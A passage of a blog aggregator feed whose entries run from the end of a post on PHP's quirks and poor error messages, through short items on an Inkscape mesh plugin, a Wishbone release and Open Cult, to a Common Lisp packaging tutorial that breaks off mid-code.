&lt;p&gt;&lt;img alt="" src="https://cdn-images-1.medium.com/max/2000/0*iKeBG9ial1LFcExP." /&gt;&lt;/p&gt;
&lt;p&gt;What? You say. After much debugging, thinking there may be an issue with your method, you finally resort to the PHP docs.&lt;/p&gt;
&lt;p&gt;There you discover…&lt;/p&gt;
&lt;div class="image"&gt;
	&lt;img src="https://cdn-images-1.medium.com/max/2432/1*WdQmqjGHTWJD8Avo29rMjw.png" /&gt;
	&lt;em&gt;Documentation for array_map &lt;a href="https://secure.php.net/manual/en/function.array-map.php"&gt;https://secure.php.net/manual/en/function.array-map.php&lt;/a&gt;&lt;/em&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;It’s callback first. Not callback last, like you had just done with array_filter.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I don’t know how many times I’ve done this but each time you can’t help but slightly curse the name &lt;a href="https://en.wikipedia.org/wiki/Rasmus_Lerdorf"&gt;Rasmus Lerdorf&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Besides the importance of consistency as we have already spoken about, what else can we learn. Well for my money, it’s helpful error messages. Rather than spitting out something vague and meaningless like in this case, write something helpful and actionable. I read a great article about this very topic — you can find it &lt;a href="https://uxplanet.org/how-to-write-a-perfect-error-message-da1ca65a8f36"&gt;here&lt;/a&gt;. I’d highly recommend reading it. Ideally you want to make your UI (including visual and programmatic UI) as intuitive as possible but account for cases where someone makes a mistake (we all do) and handle it gracefully by guiding the user to the correct course.&lt;/p&gt;
&lt;h3&gt;Frustrating usage&lt;/h3&gt;
&lt;p&gt;Asides from being poorly named, the usage of these method is also frustrating.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://secure.php.net/manual/en/function.explode.php"&gt;Explode&lt;/a&gt; is a method that takes a string and a delimiter and breaks up that string on the delimiter into an array. Simple right? You’ve probably seen this in Javascript with &lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split"&gt;String.split()&lt;/a&gt; and other languages. The quirk here is that passing empty string (“”) or null as a delimiter will cause the method to return false. Rather than simply treat it like every other language (empty string returns every character as an element of the array or null to return the string in its entirety), PHP decides to treat it as an error condition. But because it does not throw an error you are forced to check it manually.&lt;/p&gt;
&lt;p&gt;Another aggravating method usage case is when manipulating arrays. &lt;a href="https://secure.php.net/manual/en/function.sort.php"&gt;Sort()&lt;/a&gt; and all the other array sort methods (there are a lot, all more confusingly named than the last) in PHP operate the on the array in place and do not return a new manipulated array. They simply return true or false. This prevents you from method chaining and makes the code you write with array manipulation that bit more verbose than it would otherwise be. Further, &lt;a href="https://secure.php.net/manual/en/function.array-reverse.php"&gt;array_reverse&lt;/a&gt; (in the same category of array manipulation) does return a new array but this again means more inconsistency (even though in this case, the inconsistency is good).&lt;/p&gt;
&lt;p&gt;Without doubt however, the trifecta of annoyance comes from finding a string within a string. This could not be more simple. Every language has a method like this, and they all work the same. A needle (the string you want to find) and a haystack (the string you want to find it in) are accepted, the method then returns the haystack index at which this needle was found and returns -1 if it wasn’t found. This is the case for Javascript, C and most other languages. PHP however, being the language hipster that it is, decided that this wasn’t good enough and decided to break the status quo by returning false if the needle wasn’t found. That doesn’t sound so bad (although inconsistent with every other language in existence) but if you loosely compare false in PHP, it becomes a 0. Now this is an issue with the following code&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cdn-images-1.medium.com/max/2976/1*AtvD1m_29mSkdMJw_2IQhw.png" /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately, because the developer was expecting a response of anything but -1 from the &lt;a href="https://secure.php.net/manual/en/function.strpos.php"&gt;strpos&lt;/a&gt; method, this code will return true even though the needle is evidently not in the haystack. I find this one of the the most glaring oversights in PHP because it’s so easy to get wrong when programming something that depends on this as well as being again, inconsistent with other languages.&lt;/p&gt;
&lt;h3&gt;Bad error messages&lt;/h3&gt;
&lt;p&gt;Error messages are a major problem with PHP. I distinctly remember my first gripe with PHP — debugging. Being unfamiliar with PHP at the time, I did not think to use a &lt;a href="https://xdebug.org/"&gt;3rd party tool to debug my code&lt;/a&gt;; that should be built in — right? Surprisingly (and unfortunately) not. I spent a while googling around to find out I &lt;a href="https://stackoverflow.com/questions/1053424/how-do-i-get-php-errors-to-display"&gt;had to turn on errors with some specific variables and debug levels&lt;/a&gt;. If you look at the search results for “&lt;a href="https://www.google.co.uk/search?q=How+to+turn+on+php+errors&amp;amp;oq=How+to+turn+on+php+errors&amp;amp;aqs=chrome..69i57&amp;amp;sourceid=chrome&amp;amp;ie=UTF-8"&gt;How to turn on php errors&lt;/a&gt;” or “&lt;a href="https://www.google.co.uk/search?q=PHP+blank+screen%2C+no+error&amp;amp;oq=PHP+blank+screen%2C+no+error&amp;amp;aqs=chrome..69i57j69i64&amp;amp;sourceid=chrome&amp;amp;ie=UTF-8"&gt;PHP blank screen, no error&lt;/a&gt;”, the issue quickly becomes apparent.&lt;/p&gt;
&lt;p&gt;Now, you may have got error messages **_actually _**working but sooner or later you come across this gem.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;**PHP: &lt;a href="http://phpsadness.com/sad/1"&gt;**Parse error: syntax error, unexpected T_PAAMAYIM_NEKUDOTAYIM&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;You&lt;/strong&gt;: A what?!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PHP&lt;/strong&gt;: A Paamayim Nekudatayim of course…&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;For the uninitiated, &lt;a href="https://en.wiktionary.org/wiki/%D7%A4%D7%A2%D7%9E%D7%99%D7%99%D7%9D_%D7%A0%D7%A7%D7%95%D7%93%D7%AA%D7%99%D7%99%D7%9D#Hebrew"&gt;paamayim nekudatayim&lt;/a&gt; is a romanized version of the Hebrew word for “twice colon” which is referring to the &lt;a href="https://en.wikipedia.org/wiki/Scope_resolution_operator#PHP"&gt;scope resolution operator&lt;/a&gt; (::). The kind you would use to call a static method such as this&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cdn-images-1.medium.com/max/2976/1*p1H01HBwqUr8OhBQf-556w.png" /&gt;&lt;/p&gt;
&lt;p&gt;This was originally introduced by Israeli-built &lt;a href="http://www.zend.com/en/community/php"&gt;Zend Engine&lt;/a&gt; back in PHP 3. Now that’s fine for people who speak Hebrew, but English is widely accepted as the lingua-franca of programming and the internet at large. Again, it all relates back to ease of use. After finding out the meaning, in a way, I kind of like it as a fun quirk of PHP with an interesting backstory but it is very confusing to new PHP developers (or developers full stop).&lt;/p&gt;
&lt;p&gt;This error message still lives on today in PHP 7.&lt;/p&gt;
&lt;p&gt;The main issue with PHP error messages are the detail and specificity. At some point, because you’re not a robot (or maybe you are — if so please fill out this captcha before continuing) you’ll miss type something, perhaps missing a bracket or quotation mark. Maybe your code looks something like this.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cdn-images-1.medium.com/max/2976/1*AODwsrc4MDA1ZfPh4les3w.png" /&gt;&lt;/p&gt;
&lt;div class="image"&gt;
	&lt;img src="https://cdn-images-1.medium.com/max/2000/1*zQTkfZ1biXDZ8r_rflvaaw.png" /&gt;
	&lt;em&gt;Result of the code above&lt;/em&gt;
&lt;/div&gt;
&lt;p&gt;If you’re a battle hardened PHP developer then you may have spotted that the closing quotation mark on line 5 is missing. Yet PHP considers it helpful to return the message from line 8.&lt;/p&gt;
&lt;p&gt;Fast debugging is a hugely crucial issue for programming languages. Not only the frustration for the developer, but by having ambiguous error messages, it means the developer spends more time debugging which costs the company and/or client. With the above example, it may seem that this is a mountain being made out of a mole hill, but imagine this in a large application and quickly the issue becomes increasingly worse and aggravating.&lt;/p&gt;
&lt;h3&gt;Method duplication&lt;/h3&gt;
&lt;p&gt;Last but not least is the issue of method duplication — as in the case with &lt;a href="https://secure.php.net/manual/en/function.die.php"&gt;die&lt;/a&gt; and &lt;a href="https://secure.php.net/manual/en/function.exit.php"&gt;exit&lt;/a&gt; as well as &lt;a href="https://secure.php.net/manual/en/function.implode.php"&gt;implode&lt;/a&gt; and &lt;a href="https://secure.php.net/manual/en/function.join.php"&gt;join&lt;/a&gt;. Now, this may not seem like the biggest sin. After all, die came from Perl and will therefore be easier for programmers with that background to use, and exit came from C, again, allowing them to have an easier transition.&lt;/p&gt;
&lt;p&gt;The problem with this for new programmers or programmers without a C/Perl background, it doesn’t become easier, just more confusing. You end up questioning which to use? Is one better than another? Should enforcement of one over another be in a style guide? All valid questions that leave the developer going down a rabbit hole of syntax quirks rather than actually working on the task at hand.&lt;/p&gt;
&lt;p&gt;Helpfully the PHP manual clears up the differences&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cdn-images-1.medium.com/max/2000/1*EBTgMqTKHbUjL5mIEQQyDg.png" /&gt;&lt;/p&gt;
&lt;p&gt;Yeah… perhaps not. As a takeaway from this point, it is important to not pollute your documentation of a codebase with legacy stories of reasoning behind one decision or another (as has been done here). On the other hand, question whether there should be those stories in the first place.&lt;/p&gt;
&lt;p&gt;Although there are many more quirks from interesting to downright insane, I have found PHP very useful, as have thousands of developers worldwide. If you are a PHP developer with a startup idea, don’t wait to learn a new language or framework to build it. Just do it in PHP. Software can always be iterated on, and to worry about “What programming language should I do it in”, is even more insane and redundant that some of PHP’s quirks. All languages will be capable of doing anything (asides from system specific native apps of course but you get the point) — some are just different to others, which is why we have so many. But the speed gains you get from writing an app in a different language rather than doing it with what you know will be negated 10 times the amount due to the time it takes you to learn that new language.&lt;/p&gt;
&lt;p&gt;The age old adage is “Only a poor workman blames his tools”. Now write the damn thing in PHP.&lt;/p&gt;</description><author/><pubDate>Tue, 06 Mar 2018 00:12:03 GMT</pubDate><guid isPermaLink="true">/php-hatred/</guid></item><item><title>Rendering 3D polyhedra and meshes using Inkscape</title><link>https://bastian.rieck.me/blog/2018/3d_polyhedra/</link><description>&lt;p&gt;When I was writing &lt;a href="https://bastian.rieck.me/research/Dissertation_Rieck_2017.pdf"&gt;my dissertation&lt;/a&gt;,
I was planning on creating &lt;em&gt;all&lt;/em&gt; images as vector graphics if possible. They
scale better and give the document an altogether published look. Some of the
figures containing &lt;em&gt;meshes&lt;/em&gt; (of some 3D objects for &lt;a href="http://bastian.rieck.me/research/Vis2012.pdf"&gt;an IEEE TVCG publication about the merits of topological data analysis&lt;/a&gt;)
turned out to be problematic, though. The state-of-the-art tool for mesh
analysis, the aptly named &lt;a href="http://www.meshlab.net"&gt;MeshLab&lt;/a&gt;, is not capable of
exporting vector graphics. Luckily, the &lt;a href="https://inkscape.org"&gt;Inkscape&lt;/a&gt; vector
graphics editor, which I already used for other graphics, shipped with a plugin
for “rendering” meshes in &lt;a href="http://paulbourke.net/dataformats/obj"&gt;Wavefront OBJ
format&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;There were only two snags with the plugin:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;It seemed to be unmaintained or at the very least, somewhat undocumented.&lt;/li&gt;
&lt;li&gt;It did not support &lt;em&gt;colours&lt;/em&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I could not easily change the first point, but boy, do I &lt;em&gt;love&lt;/em&gt; me some fancy
colours, in particular when I am talking about the &lt;em&gt;curvature&lt;/em&gt; of meshes, for
example. So I added colour support for the plugin and re-christened it to the
highly creative name of &lt;em&gt;3D Polyhedron with vertex colours&lt;/em&gt;. You can find the
code &lt;a href="https://github.com/Pseudomanifold/polyhedron-3d-vertex-colours-plugin"&gt;on GitHub&lt;/a&gt;.
In contrast to most of my projects, it is released under the GPL. This is due
to the fact that I was modifying the code of the original plugin.&lt;/p&gt;
&lt;p&gt;Usage instructions are available on GitHub, so I would rather end this brief
post with an example of the output of the plugin.&lt;/p&gt;
&lt;figure&gt;&lt;a href="https://bastian.rieck.me/images/torus_with_curvature.svg"&gt;&lt;img alt="A torus, colour-coded by its mean curvature" src="https://bastian.rieck.me/images/torus_with_curvature.svg" width="400" /&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Until next time!&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Mon, 05 Mar 2018 22:39:02 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2018/3d_polyhedra/</guid></item><item><title>Wishbone release 3.0.3</title><link>https://smetj.net/wishbone_release_3.0.3.html</link><description>&lt;p&gt;Wishbone 3.0.3 release.&lt;/p&gt;
&lt;div class="section" id="documentation"&gt;
&lt;h2&gt;Documentation&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://wishbone.readthedocs.io"&gt;https://wishbone.readthedocs.io&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="downloads"&gt;
&lt;h2&gt;Downloads&lt;/h2&gt;
&lt;p&gt;Download release directly from Github: &lt;a class="reference external" href="https://github.com/smetj/wishbone/releases/tag/3.0.3"&gt;https://github.com/smetj/wishbone/releases/tag/3.0.3&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Download updated Docker container: &lt;code class="text"&gt;smetj/wishbone:3.0.3&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="builds-and-testing"&gt;
&lt;h2&gt;Builds and testing&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://travis-ci.org/smetj/wishbone"&gt;https://travis-ci.org/smetj/wishbone&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="highlights"&gt;
&lt;h2&gt;Highlights&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p class="first"&gt;&lt;a class="reference external" href="http://wishbone.readthedocs.io/en/latest/components/modules/input.html"&gt;Input modules&lt;/a&gt; &lt;strong&gt;always&lt;/strong&gt; require a &lt;code class="text"&gt;native_event …&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;</description><author>Jelle Smet</author><pubDate>Mon, 05 Mar 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://smetj.net/wishbone_release_3.0.3.html</guid></item><item><title>Please just REFUSE the Right to Repair the Wrong Things</title><link>https://stop.zona-m.net/2018/03/please-just-refuse-the-right-to-repair-the-wrong-things/</link><description>&lt;p&gt;A new lobbying group is fighting Right to Repair laws, in a way that proves that certain things should be AVOIDED at all costs, not repaired.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 05 Mar 2018 16:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/03/please-just-refuse-the-right-to-repair-the-wrong-things/</guid></item><item><title>Using AI to find code problems</title><link>https://ilearnt.com/blog/aicodeassistant/</link><description>&lt;p&gt;Ubissoft have introduced a tool that &amp;ldquo;uses AI&amp;rdquo; to identify potential coding issues when the developer commits code. They claim it can detect a significant number of errors and even suggest solutions in some cases. There will always be some errors that it will not be able to identify, for example where the implementation doesn&amp;rsquo;t match the requirements, however this approach could have a significant impact on the amount of time spent debugging. And it should improve over time as it learns more potential errors.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Mon, 05 Mar 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/aicodeassistant/</guid></item><item><title>On the real impact of fake news, echo chambers and filter bubbles</title><link>https://stop.zona-m.net/2018/03/on-the-real-impact-of-fake-news-echo-chambers-and-filter-bubbles/</link><description>&lt;p&gt;Fake news, echo chambers, filter bubbles: how much do they REALLY create or influence people&amp;rsquo;s opinions on politics, or anything else?&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 05 Mar 2018 07:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/03/on-the-real-impact-of-fake-news-echo-chambers-and-filter-bubbles/</guid></item><item><title>Cobalt Dungeon Dev 02: Creating a Bitmap Font for Phaser</title><link>https://thomashunter.name/posts/2018-03-05-crossover-dev-02-creating-a-bitmap-font-for-phaser</link><author>Thomas Hunter II</author><pubDate>Mon, 05 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2018-03-05-crossover-dev-02-creating-a-bitmap-font-for-phaser</guid></item><item><title>Introducing Open Cult: Ridiculously minimal open source meetup.com alternative</title><link>https://nutcroft.mataroa.blog/blog/introducing-open-cult-ridiculously-minimal-open-source-meetup-com-alternative/</link><description>&lt;p&gt;After the latest redesign meetup.com feels a bit clunky; somehow less usable. I really like the idea of Meetup though, so I thought to take a stab at creating an alternative. It will probably not meet most people’s aesthetic principles, as it is a bit eccentric, but do see for yourself!&lt;/p&gt;
&lt;p&gt;Enter &lt;a href="https://github.com/sirodoht/opencult.com"&gt;Open Cult&lt;/a&gt;, a ridiculously minimal, open source, Meetup.com alternative.&lt;/p&gt;
&lt;p&gt;The ideas behind Open Cult are based on minimalism, speed, simplicity and a text-only approach.&lt;/p&gt;
&lt;p&gt;Comparing with Meetup, instead of meetup groups, we have cults, hence the name. The rest of the core functionality is the same. You can join a cult; RSVP at an event; leave a cult or un-RSVP.&lt;/p&gt;
&lt;p&gt;The differences are that you receive exactly one email per event announcement. You receive no confirmation email once you RSVPed in contrast to meetup.com; you know you will go, no reason to archive one more email.&lt;/p&gt;
&lt;p&gt;The design is inspired by YC Hacker News. After using HN for many years I’ve come to appreciate its spartan approach. It’s an unpopular opinion (and probably an overreaction for some web design trends) but in the case of meetups, I just want the content; no wide margins, no large icons, no images. The content is the event title and description, time &amp;amp; date, location, one email reminder when the event is announced and maybe a few comments to review the event or clarify details.&lt;/p&gt;
&lt;p&gt;Open Cult loads extremely fast. The frontend is currently less than 20KB and everything is served with 2 HTTP/2 requests.&lt;/p&gt;
&lt;p&gt;As far as mobile responsiveness, a major pain point for me with meetup.com, Open Cult performs marvelously. Apart from the Lilliputian size, its barebones HTML elements will use the OS native date and time pickers, making new event submissions on mobile a breeze.&lt;/p&gt;
&lt;p&gt;Finally, Open Cult is built on Python and Django, and &lt;a href="https://github.com/sirodoht/opencult.com"&gt;lives on GitHub&lt;/a&gt; as an open source project. Please feel free to contribute, as one pair of eyeballs is not nearly enough for all bugs. Also, consider proposing and discussing new features and UX-first design improvements. Check some ideas &lt;a href="https://github.com/sirodoht/opencult.com/issues"&gt;here&lt;/a&gt;.&lt;/p&gt;</description><author>nutcroft</author><pubDate>Mon, 05 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nutcroft.mataroa.blog/blog/introducing-open-cult-ridiculously-minimal-open-source-meetup-com-alternative/</guid></item><item><title>Move Your Litecoins Off Coinbase</title><link>https://www.khanna.law/blog/move-your-litecoins-off-coinbase</link><description>This article investigates why and how to move your Litecoins from Coinbase to a program called Electrum-LTC that runs on your personal computer.</description><author>Khanna Law Blog</author><pubDate>Mon, 05 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.khanna.law/blog/move-your-litecoins-off-coinbase</guid></item><item><title>Starting a minimal Common Lisp project</title><link>http://notes.eatonphil.com/starting-a-minimal-common-lisp-project.html</link><description>&lt;p&gt;If you've only vaguely heard of Lisp before or studied Scheme in
school, Common Lisp is nothing like what you'd expect. While
functional programming is all the rage in Scheme, Common Lisp was
"expressly designed to be a real-world engineering language rather
than a theoretically 'pure' language" (&lt;a href="http://www.gigamonkeys.com/book/introduction-why-lisp.html"&gt;Practical Common
Lisp&lt;/a&gt;).
Furthermore, &lt;a href="http://sbcl.org/"&gt;SBCL&lt;/a&gt; -- a popular implementation --
is a highly optimized compiler that is competitive with
&lt;a href="https://benchmarksgame.alioth.debian.org/u64q/lisp.html"&gt;Java&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="building-blocks"&gt;Building blocks&lt;/h3&gt;&lt;p&gt;Common Lisp symbols, imagine "first-class" variables/labels, are
encapsulated in namespaces called packages. However packages don't
account for organization across directories, among other things. So
while packages are a part of the core Common Lisp language, the
"cross-directory" organizational structure is managed by the
(all-but-standard) &lt;a href="https://github.com/fare/asdf"&gt;ASDF&lt;/a&gt; "systems". You
can think of packages as roughly similar to modules in Python whereas
systems in ASDF are more like packages in Python.&lt;/p&gt;
&lt;p&gt;ASDF does not manage non-local dependencies. For that we use
&lt;a href="https://www.quicklisp.org/beta/"&gt;Quicklisp&lt;/a&gt;, the defacto package
manager. ASDF should come bundled with your Common Lisp installation,
which I'll assume is SBCL (not that it matters). Quicklisp does not
come bundled.&lt;/p&gt;
&lt;h3 id="getting-quicklisp"&gt;Getting Quicklisp&lt;/h3&gt;&lt;p&gt;You can follow the notes on the Quicklisp
&lt;a href="https://www.quicklisp.org/beta/"&gt;site&lt;/a&gt; for installation, but the
basic gist is:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-O&lt;span class="w"&gt; &lt;/span&gt;https://beta.quicklisp.org/quicklisp.lisp
$&lt;span class="w"&gt; &lt;/span&gt;sbcl&lt;span class="w"&gt; &lt;/span&gt;--load&lt;span class="w"&gt; &lt;/span&gt;quicklisp.lisp
...
*&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;quicklisp-quickstart:install&lt;span class="o"&gt;)&lt;/span&gt;
...
*&lt;span class="w"&gt; &lt;/span&gt;^D
$&lt;span class="w"&gt; &lt;/span&gt;sbcl&lt;span class="w"&gt; &lt;/span&gt;--load&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;~/quicklisp/setup.lisp&amp;quot;&lt;/span&gt;
...
*&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;ql:add-to-init-file&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="a-minimal-package"&gt;A minimal package&lt;/h3&gt;&lt;p&gt;Now we're ready to get started. Create a directory using the name of
the library you'd like to package. For instance, I'll create a
"cl-docker" directory for my Docker wrapper library. Then create a
file using the same name in the directory with the ".asd" suffix:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;~/projects
$&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;cl-docker
$&lt;span class="w"&gt; &lt;/span&gt;touch&lt;span class="w"&gt; &lt;/span&gt;cl-docker/cl-docker.asd
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;It is important for the ".asd" file to share the same name as the
directory because ASDF will look for it in that location (by default).&lt;/p&gt;
&lt;p&gt;Before we get too far into packaging, let's write a function we'd like
to export from this library. Edit "cl-docker/docker.lisp" (this name does
not matter) and add the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;defun&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ps&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nv"&gt;output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;uiop:run-program&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;'&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;docker&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;ps&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:string&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;rest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;cl-ppcre:split&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;(\\n+)&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;output&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;collect&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;cl-ppcre:split&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;(\\s\\s+)&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;line&lt;/span&gt;&lt;span class="p"&gt;))))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This uses a portable library, "uiop", that ASDF exposes by default (we
won't need to explicitly import this anywhere because the package is
managed by ASDF). It will run the command "docker ps" in a subprocess
and return the output as a string. Then we use the regex split
function from the "cl-ppcre" library to split the output first into
lines, take all but the first line, and split the lines up based one
two or more whitespace characters.&lt;/p&gt;
&lt;p&gt;Next let's define the package (think module in Python) by editing
"cl-docker/package.lisp" (this name also does not matter):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;defpackage&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;cl-docker&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:import-from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:cl-ppcre&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:split&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:ps&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Here we state the package's name, say that we want to import all
Common Lisp base symbols into the package, say we want to import the
"split" symbol from the "cl-ppcre" package, and say we only want to
export our "ps" function.&lt;/p&gt;
&lt;p&gt;At this point we must also declare within the "cl-docker/docker.lisp"
file that it is a part of this package:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;in-package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:cl-docker&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;defun&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ps&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nv"&gt;output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;uiop:run-program&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;'&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;docker&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;ps&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:string&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
